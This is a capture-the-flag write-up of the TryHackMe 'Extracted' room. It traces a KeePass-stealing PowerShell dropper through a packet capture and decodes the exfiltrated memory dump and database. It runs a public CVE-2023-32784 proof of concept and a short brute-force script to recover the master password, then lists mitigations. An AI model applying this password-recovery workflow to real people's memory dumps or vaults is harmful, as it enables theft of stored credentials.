July 24, 2026
Extracted — KeePass Memory Forensics via CVE-2023–32784 + Master Key Recovery | TryHackMe
A junior analyst flagged suspicious outbound traffic from a workstation with no working SIEM to explain it, leaving a raw packet capture as…

By Roshan Rajbanshi
6 min read
A junior analyst flagged suspicious outbound traffic from a workstation with no working SIEM to explain it, leaving a raw packet capture as the only evidence. The capture looked deceptively boring at first glance, almost entirely unclassified TCP payload with no recognizable protocol on top. Buried in that raw data was a PowerShell dropper procdumping a KeePass process, XOR-encoding the result, and exfiltrating both the process memory and the KeePass database itself over plain sockets. Recovering the master password from that memory dump required exploiting CVE-2023–32784, a KeePass memory disclosure bug that leaks all but one character of the typed master key. The final character had to be brute-forced directly against the database file to unlock it and retrieve the flag.
Attack Path: Raw TCP traffic analysis (identify dropper + exfil channels) → XOR/base64 decode exfiltrated artifacts (recover process dump + KDBX database) → CVE-2023–32784 memory disclosure (recover all but one character of master password) → single-character brute force against KDBX (full master password) → open database (flag)
Platform: TryHackMe
Machine: Extracted
Difficulty: Medium
OS: Windows (target process memory), analysis performed on Linux
Table of Contents
1. Reconnaissance
1.1 Protocol Hierarchy Overview
1.2 Identifying the Suspicious Streams
2. Initial Access
2.1 Analyzing the Dropper Script
2.2 Extracting and Decoding the Exfiltrated Artifacts
3. Privilege Escalation
3.1 CVE-2023-32784 — Recovering the Master Password from Memory
3.2 Brute-Forcing the Missing Character
4. Proof of Compromise
5. Vulnerability Summary
6. Defense & MitigationPlatform: TryHackMe
Machine: Extracted
Difficulty: Medium
OS: Windows (target process memory), analysis performed on Linux
Table of Contents
1. Reconnaissance
1.1 Protocol Hierarchy Overview
1.2 Identifying the Suspicious Streams
2. Initial Access
2.1 Analyzing the Dropper Script
2.2 Extracting and Decoding the Exfiltrated Artifacts
3. Privilege Escalation
3.1 CVE-2023-32784 — Recovering the Master Password from Memory
3.2 Brute-Forcing the Missing Character
4. Proof of Compromise
5. Vulnerability Summary
6. Defense & Mitigation1. Reconnaissance
1.1 Protocol Hierarchy Overview
The capture was inspected with tshark before touching any packet contents, starting with a protocol hierarchy breakdown to understand what kind of traffic was actually present.
$ tshark -r traffic.pcapng -q -z io,phs
Protocol Hierarchy Statistics
Filter:
eth frames:53338 bytes:390487858
ip frames:53334 bytes:390487662
tcp frames:53334 bytes:390487662
http frames:2 bytes:2522
data frames:29491 bytes:388574682
h1 frames:6 bytes:108433
arp frames:4 bytes:196$ tshark -r traffic.pcapng -q -z io,phs
Protocol Hierarchy Statistics
Filter:
eth frames:53338 bytes:390487858
ip frames:53334 bytes:390487662
tcp frames:53334 bytes:390487662
http frames:2 bytes:2522
data frames:29491 bytes:388574682
h1 frames:6 bytes:108433
arp frames:4 bytes:196
💡 Nearly the entire capture classified as raw
dataover TCP rather than a recognized application protocol. In a real investigation this is a strong indicator of a custom or raw-socket channel rather than legitimate service traffic, and it justified moving straight to a conversation-level view instead of relying on protocol filters.
1.2 Identifying the Suspicious Streams
$ tshark -r traffic.pcapng -q -z conv,tcp$ tshark -r traffic.pcapng -q -z conv,tcp
Three TCP conversations stood out immediately, all on non-standard, sequential-looking ports: 1339, 1337, and 1338. One conversation carried only a handful of small packets, one carried a single massive (~390MB) one-directional transfer, and one carried a moderate amount of base64-looking payload. This pattern — a small control channel alongside one or more large exfiltration channels — was treated as the starting point for the rest of the investigation.
2. Initial Access
2.1 Analyzing the Dropper Script
The smallest of the three streams, on port 1339, was followed in full to recover its contents.
$ tshark -r traffic.pcapng -q -z follow,tcp,ascii,0$ tshark -r traffic.pcapng -q -z follow,tcp,ascii,0The stream contained a complete PowerShell script. Its logic was as follows:
- Use
procdumpto capture a full memory dump of the running KeePass process, saved as1337.dmp. - XOR every byte of the dump with the single-byte key
0x41. - Base64-encode the XORed output.
- Write the result to disk as
539.dmp, which the remainder of the capture shows being pushed off the host.
The same encode-and-exfiltrate pattern was applied a second time to the KeePass database file itself, using XOR key 0x42 instead of 0x41.
2.2 Extracting and Decoding the Exfiltrated Artifacts
With the dropper's logic known, the two remaining large streams could be mapped directly: port 1337 (the ~390MB transfer) as the process memory dump, and port 1338 as the database file. Both were extracted directly from the capture as raw hex payload rather than through Wireshark's GUI, since the process dump stream alone produced roughly 740MB of hex text.
$ tshark -r traffic.pcapng -Y "tcp.stream==1 && tcp.len>0" -T fields -e tcp.payload > stream1_hex.txt
$ tshark -r traffic.pcapng -Y "tcp.stream==2 && tcp.len>0" -T fields -e tcp.payload > stream2_hex.txt$ tshark -r traffic.pcapng -Y "tcp.stream==1 && tcp.len>0" -T fields -e tcp.payload > stream1_hex.txt
$ tshark -r traffic.pcapng -Y "tcp.stream==2 && tcp.len>0" -T fields -e tcp.payload > stream2_hex.txtEach stream was then converted from hex, base64-decoded, and XORed with the key identified in the dropper script.
# decode.py
import base64
def hex_to_bytes(path):
with open(path) as f:
return bytes.fromhex(''.join(l.strip() for l in f))
def decode_stream(hexfile, xor_key, outfile):
b64_text = hex_to_bytes(hexfile)
raw = base64.b64decode(b64_text)
xored = bytes(b ^ xor_key for b in raw)
with open(outfile, 'wb') as out:
out.write(xored)
decode_stream('stream1_hex.txt', 0x41, '1337.dmp') # KeePass process dump
decode_stream('stream2_hex.txt', 0x42, 'Database1337.kdbx') # KeePass database
$ python3 decode.py
$ file 1337.dmp Database1337.kdbx
1337.dmp: Mini DuMP crash report, 18 streams, Tue Aug 29 02:29:23 2023, 0x461826 type
Database1337.kdbx: Keepass password database 2.x KDBX# decode.py
import base64
def hex_to_bytes(path):
with open(path) as f:
return bytes.fromhex(''.join(l.strip() for l in f))
def decode_stream(hexfile, xor_key, outfile):
b64_text = hex_to_bytes(hexfile)
raw = base64.b64decode(b64_text)
xored = bytes(b ^ xor_key for b in raw)
with open(outfile, 'wb') as out:
out.write(xored)
decode_stream('stream1_hex.txt', 0x41, '1337.dmp') # KeePass process dump
decode_stream('stream2_hex.txt', 0x42, 'Database1337.kdbx') # KeePass database
$ python3 decode.py
$ file 1337.dmp Database1337.kdbx
1337.dmp: Mini DuMP crash report, 18 streams, Tue Aug 29 02:29:23 2023, 0x461826 type
Database1337.kdbx: Keepass password database 2.x KDBXBoth files validated as legitimate Windows artifacts, confirming the XOR keys recovered from the dropper script were correct and that no data had been corrupted in transit or in extraction.
💡 For an output of this size, a single-shot
base64.b64decode()call is fine on a reasonably provisioned machine, but chunking the input in multiples of four bytes is worth doing on a constrained VM to avoid holding the full intermediate base64 text and decoded binary in memory simultaneously.
3. Privilege Escalation
3.1 CVE-2023–32784 — Recovering the Master Password from Memory
KeePass versions before 2.54 are affected by CVE-2023–32784, a flaw in the custom secure text box used for master key entry that leaks remnants of the typed password into process memory as a series of masked, growing fragments. All but one character of the password can typically be reconstructed from a full memory dump of the process.
$ git clone https://github.com/matro7sh/keepass-dump-masterkey.git
$ cd keepass-dump-masterkey
$ python3 poc.py ../1337.dmp
[.] [main] Opened dump.bin
Possible password: ●REDACTED$ git clone https://github.com/matro7sh/keepass-dump-masterkey.git
$ cd keepass-dump-masterkey
$ python3 poc.py ../1337.dmp
[.] [main] Opened dump.bin
Possible password: ●REDACTED
The ● marks the single character the technique cannot recover; it always represents a gap rather than a literal character in the real password. Everything following it, including the leading N, is confirmed recovered plaintext.
⚠️ It is easy to misjudge where the unrecoverable character "ends" when copying this output by hand. An initial pass at this step dropped the leading
Nwhen transcribing the string into a mask-attack tool, producing a suffix that could never crack regardless of which character was tried in the unknown position. The tool reported the hash as valid and correctly formatted throughout, which made the error easy to mistake for a hash or charset problem rather than a transcription one. The output of memory-disclosure tooling like this should be copied character for character rather than retyped.
3.2 Brute-Forcing the Missing Character
Rather than extracting a crackable hash with keepass2john (not present in the standard, non-jumbo john package) and running it through hashcat or john, the missing character was brute-forced directly against the KDBX file using pykeepass, which allows candidate passwords to be tested by attempting to open the database itself.
$ pip install pykeepass
# crack.py
from pykeepass import PyKeePass
suffix = "REDACTED" # copied character-for-character from poc.py output
for c in range(0x20, 0x7f): # full printable ASCII range
pw = chr(c) + suffix
try:
kp = PyKeePass('Database1337.kdbx', password=pw)
print("CRACKED:", pw)
break
except Exception:
pass
$ python3 crack.py
CRACKED: <REDACTED_PASSWORD>$ pip install pykeepass
# crack.py
from pykeepass import PyKeePass
suffix = "REDACTED" # copied character-for-character from poc.py output
for c in range(0x20, 0x7f): # full printable ASCII range
pw = chr(c) + suffix
try:
kp = PyKeePass('Database1337.kdbx', password=pw)
print("CRACKED:", pw)
break
except Exception:
pass
$ python3 crack.py
CRACKED: <REDACTED_PASSWORD>The missing character resolved to a single non-alphanumeric symbol, giving the complete master password.
4. Proof of Compromise
$ python3 -c "
from pykeepass import PyKeePass
kp = PyKeePass('Database1337.kdbx', password='<REDACTED_PASSWORD>')
for e in kp.entries:
print(e.title, '|', e.notes)
"
Sample Entry | Notes
Sample Entry #2 | None
You win! | THM{REDACTED}$ python3 -c "
from pykeepass import PyKeePass
kp = PyKeePass('Database1337.kdbx', password='<REDACTED_PASSWORD>')
for e in kp.entries:
print(e.title, '|', e.notes)
"
Sample Entry | Notes
Sample Entry #2 | None
You win! | THM{REDACTED}
5. Vulnerability Summary
# Vulnerability Severity Impact
1 CVE-2023-32784 — KeePass < 2.54 master password memory High Allows near-complete recovery of the KeePass master password from a
disclosure process memory dump, requiring only a single-character brute force to
fully compromise the vault
2 Weak, single-byte XOR obfuscation of exfiltrated data Medium Trivially reversible obfuscation that provided no meaningful protection
once the dropper script (and thus the key) was recovered from the capture
3 Cleartext exfiltration over raw, unauthenticated TCP Medium Sensitive process memory and credential-store data transmitted with no
sockets transport encryption, allowing full recovery directly from a packet capture# Vulnerability Severity Impact
1 CVE-2023-32784 — KeePass < 2.54 master password memory High Allows near-complete recovery of the KeePass master password from a
disclosure process memory dump, requiring only a single-character brute force to
fully compromise the vault
2 Weak, single-byte XOR obfuscation of exfiltrated data Medium Trivially reversible obfuscation that provided no meaningful protection
once the dropper script (and thus the key) was recovered from the capture
3 Cleartext exfiltration over raw, unauthenticated TCP Medium Sensitive process memory and credential-store data transmitted with no
sockets transport encryption, allowing full recovery directly from a packet capture6. Defense & Mitigation
1. CVE-2023–32784 (KeePass memory disclosure)
⚠️ Any KeePass installation below version 2.54 should be treated as exposing its master password to any actor capable of dumping the process's memory.
- Update KeePass to 2.54 or later, where this issue is patched.
- Restrict local process-dump capability (e.g.
procdump,Task Managerdump, debug privileges) to administrators only, since memory disclosure requires it.
2. Weak exfiltration obfuscation
- Treat single-byte XOR as equivalent to no protection at all; if data-loss-prevention tooling flags outbound traffic as opaque binary on non-standard ports, that alone should trigger inspection regardless of whether it "looks encrypted."
3. Cleartext exfiltration channel
- Enforce egress filtering so that only expected, authenticated protocols on expected ports can leave the host; raw sockets on arbitrary high ports from a standard workstation are themselves an anomaly worth alerting on independent of payload content.